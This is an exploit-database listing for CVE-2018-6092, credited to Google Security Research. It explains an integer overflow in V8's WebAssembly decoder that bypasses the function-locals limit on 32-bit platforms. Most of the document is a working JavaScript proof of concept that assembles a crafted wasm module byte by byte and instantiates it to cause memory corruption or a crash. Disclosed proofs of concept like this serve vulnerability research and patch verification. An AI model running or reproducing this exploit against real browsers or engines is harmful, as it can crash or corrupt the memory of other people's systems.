Author

Google Security Research

Risk

[

Security Risk High

]

0day-ID

0day-ID-30561

Category

dos / poc

Date add

09-06-2018

CVE

CVE-2018-6092

Platform

multiple

/*
When v8 decodes the locals of a function, it performs a check:
 
if ((count + type_list->size()) > kV8MaxWasmFunctionLocals) {
        decoder->error(decoder->pc() - 1, "local count too large");
        return false;
      }
 
On a 32-bit platform, this check can be bypassed due to an integer overflow. This allows the number of function locals to be large, and can lead to memory corruption when the locals are allocated.
 
A PoC is attached. 
*/
 
var b2 = new Uint8Array( 171);
b2[0] = 0x0;
b2[1] = 0x61;
b2[2] = 0x73;
b2[3] = 0x6d;
b2[4] = 0x1;
b2[5] = 0x0;
b2[6] = 0x0;
b2[7] = 0x0;
b2[8] = 0x1;
b2[9] = 0xe;
b2[10] = 0x3;
b2[11] = 0x60;
b2[12] = 0x1;
b2[13] = 0x7f;
b2[14] = 0x0;
b2[15] = 0x60;
b2[16] = 0x0;
b2[17] = 0x0;
b2[18] = 0x60;
b2[19] = 0x2;
b2[20] = 0x7f;
b2[21] = 0x7f;
b2[22] = 0x1;
b2[23] = 0x7f;
b2[24] = 0x2;
b2[25] = 0x23;
b2[26] = 0x2;
b2[27] = 0x2;
b2[28] = 0x6a;
b2[29] = 0x73;
b2[30] = 0x3;
b2[31] = 0x6d;
b2[32] = 0x65;
b2[33] = 0x6d;
b2[34] = 0x2;
b2[35] = 0x0;
b2[36] = 0x1;
b2[37] = 0x7;
b2[38] = 0x69;
b2[39] = 0x6d;
b2[40] = 0x70;
b2[41] = 0x6f;
b2[42] = 0x72;
b2[43] = 0x74;
b2[44] = 0x73;
b2[45] = 0xd;
b2[46] = 0x69;
b2[47] = 0x6d;
b2[48] = 0x70;
b2[49] = 0x6f;
b2[50] = 0x72;
b2[51] = 0x74;
b2[52] = 0x65;
b2[53] = 0x64;
b2[54] = 0x5f;
b2[55] = 0x66;
b2[56] = 0x75;
b2[57] = 0x6e;
b2[58] = 0x63;
b2[59] = 0x0;
b2[60] = 0x0;
b2[61] = 0x3;
b2[62] = 0x3;
b2[63] = 0x2;
b2[64] = 0x1;
b2[65] = 0x2;
b2[66] = 0x7;
b2[67] = 0x1e;
b2[68] = 0x2;
b2[69] = 0xd;
b2[70] = 0x65;
b2[71] = 0x78;
b2[72] = 0x70;
b2[73] = 0x6f;
b2[74] = 0x72;
b2[75] = 0x74;
b2[76] = 0x65;
b2[77] = 0x64;
b2[78] = 0x5f;
b2[79] = 0x66;
b2[80] = 0x75;
b2[81] = 0x6e;
b2[82] = 0x63;
b2[83] = 0x0;
b2[84] = 0x1;
b2[85] = 0xa;
b2[86] = 0x61;
b2[87] = 0x63;
b2[88] = 0x63;
b2[89] = 0x75;
b2[90] = 0x6d;
b2[91] = 0x75;
b2[92] = 0x6c;
b2[93] = 0x61;
b2[94] = 0x74;
b2[95] = 0x65;
b2[96] = 0x0;
b2[97] = 0x2;
b2[98] = 0xa;
b2[99] = 0x47;
b2[100] = 0x2;
b2[101] = 0x6;
b2[102] = 0x0;
b2[103] = 0x41;
b2[104] = 0x2a;
b2[105] = 0x10;
b2[106] = 0x0;
b2[107] = 0xb;
b2[108] = 0x3e;
b2[109] = 0x1;
b2[110] = 0xff;
b2[111] = 0xff;
b2[112] = 0xff;
b2[113] = 0xff;
b2[114] = 0x0f;
b2[115] = 0x7f;
b2[116] = 0x20;
b2[117] = 0x0;
b2[118] = 0x20;
b2[119] = 0x1;
b2[120] = 0x41;
b2[121] = 0x4;
b2[122] = 0x6c;
b2[123] = 0x6a;
b2[124] = 0x21;
b2[125] = 0x2;
b2[126] = 0x2;
b2[127] = 0x40;
b2[128] = 0x3;
b2[129] = 0x40;
b2[130] = 0x20;
b2[131] = 0x0;
b2[132] = 0x20;
b2[133] = 0x2;
b2[134] = 0x46;
b2[135] = 0xd;
b2[136] = 0x1;
b2[137] = 0x41;
b2[138] = 0x2a;
b2[139] = 0x10;
b2[140] = 0x0;
b2[141] = 0x20;
b2[142] = 0x3;
b2[143] = 0x41;
b2[144] = 0xc4;
b2[145] = 0x0;
b2[146] = 0x20;
b2[147] = 0x0;
b2[148] = 0x36;
b2[149] = 0x2;
b2[150] = 0x0;
b2[151] = 0x41;
b2[152] = 0xc4;
b2[153] = 0x0;
b2[154] = 0x6a;
b2[155] = 0x21;
b2[156] = 0x3;
b2[157] = 0x20;
b2[158] = 0x0;
b2[159] = 0x41;
b2[160] = 0x4;
b2[161] = 0x6a;
b2[162] = 0x21;
b2[163] = 0x0;
b2[164] = 0xc;
b2[165] = 0x0;
b2[166] = 0xb;
b2[167] = 0xb;
b2[168] = 0x20;
b2[169] = 0x3;
b2[170] = 0xb;
 
function f(){print("in f");}
var memory = new WebAssembly.Memory({initial:1, maximum:1});
var mod = new WebAssembly.Module(b2);
var i = new WebAssembly.Instance(mod, { imports : {imported_func : f}, js : {mem : memory}});
i.exports.accumulate.call(0, 5);

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